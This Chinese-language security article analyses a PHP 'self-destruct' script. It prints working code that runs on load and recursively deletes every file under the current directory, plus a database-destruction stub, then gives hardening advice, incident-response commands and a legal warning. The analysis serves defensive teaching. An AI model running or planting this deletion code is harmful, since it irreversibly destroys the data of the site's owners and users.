PHP 自毀程式碼深度剖析與安全警示（嚴禁生產環境使用）

⚠️ 極度危險警告

本文僅供安全研究、程式碼審計教學用途。嚴禁在任何生產、測試環境執行。執行將導致不可逆的資料銷毀，可能構成違法犯罪。

程式碼結構分析

<?php
// 配置區：資料庫連線資訊（攻擊者可修改）
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');  // 非標準端口，針對性攻擊
define('DB_DAMAGE', true);  // 開關：true=摧毀資料庫

run();  // 立即執行

function run() {
    deletedir();  // 遞迴刪除檔案
    deleteDB();   // 摧毀資料庫
}

核心破壞函式剖析

1. 檔案系統遞迴刪除

function deletedir($dir = '') {
    if ($dir === '') $dir = realpath('.');  // 當前目錄
    
    // 注意：原碼此處有 exit()，實際不會執行後續刪除
    // 這是一個「未完成」或「測試版」的惡意程式碼
    
    if (!($handle = @opendir($dir))) die("目錄不存在");
    
    while (($file = readdir($handle)) !== false) {
        if ($file === '.' || $file === '..') continue;
        
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        
        if (is_dir($path)) {
            deletedir($path);  // 遞迴進入子目錄
        } else {
            @unlink($path);    // 刪除檔案（@抑制錯誤）
        }
    }
    @rmdir($dir);  // 刪除空目錄
}

2. 資料庫摧毀邏輯（佔位符）

function deleteDB() {
    if (DB_DAMAGE === true) {
        // 原碼僅有註釋 "//start"，未實作具體 SQL
        // 實際惡意碼通常包含：
        // - SHOW DATABASES 遍歷所有庫
        // - DROP DATABASE 執行刪除
        // - 或 TRUNCATE TABLE 清空所有表
    }
}

安全防禦體系建設

程式碼審計檢查清單

系統級防護措施

1. 最小權限原則：Web 使用者僅擁有必要表的 SELECT/INSERT/UPDATE，嚴禁 DROP/ALTER/TRUNCATE
2. 檔案系統隔離：open_basedir 限制 PHP 可存取路徑，禁用 exec/shell_exec/system
3. 程式碼完整性監控：部署 Tripwire/AIDE 監控核心檔案變更
4. 備份與災難恢復：每日全量 + 每小時增量備份，定期演練恢復流程
5. 供應鏈安全：Composer 套件鎖定版本、驗證簽名、審計依賴樹

應急響應流程

# 1. 立即隔離
systemctl stop nginx php-fpm

# 2. 保留現場證據
cp -a /var/www/html /forensys/$(date +%F_%H%M)

# 3. 從乾淨備份恢復
rsync -av /backup/clean/ /var/www/html/

# 4. 修改所有憑證
# 資料庫密鑰、API Keys、SSH Keys、JWT Secrets

# 5. 根因分析
# - 入侵向量（SQL注入/檔案上傳/供應鏈/弱口令）
# - 橫向移動範圍
# - 持久化機制（WebShell/定時任務/SSH公鑰）

法律責任提醒

根據《中華人民共和國刑法》第二百八十六條：破壞計算機資訊系統罪，對計算機資訊系統功能進行刪除、修改、增加、干擾，造成嚴重後果的，處五年以下有期徒刑或拘役；後果特別嚴重的，處五年以上有期徒刑。

結語

安全無小事。這類「自毀程式碼」雖然原始碼粗糙，但說明攻擊者具備基本破壞邏輯。防禦關鍵在於：權限最小化、備份常態化、審計自動化、響應流程化。寫程式碼時，請記住——你寫下的每一行 `rm -rf`、`DROP TABLE`，都可能在某個夜晚被觸發。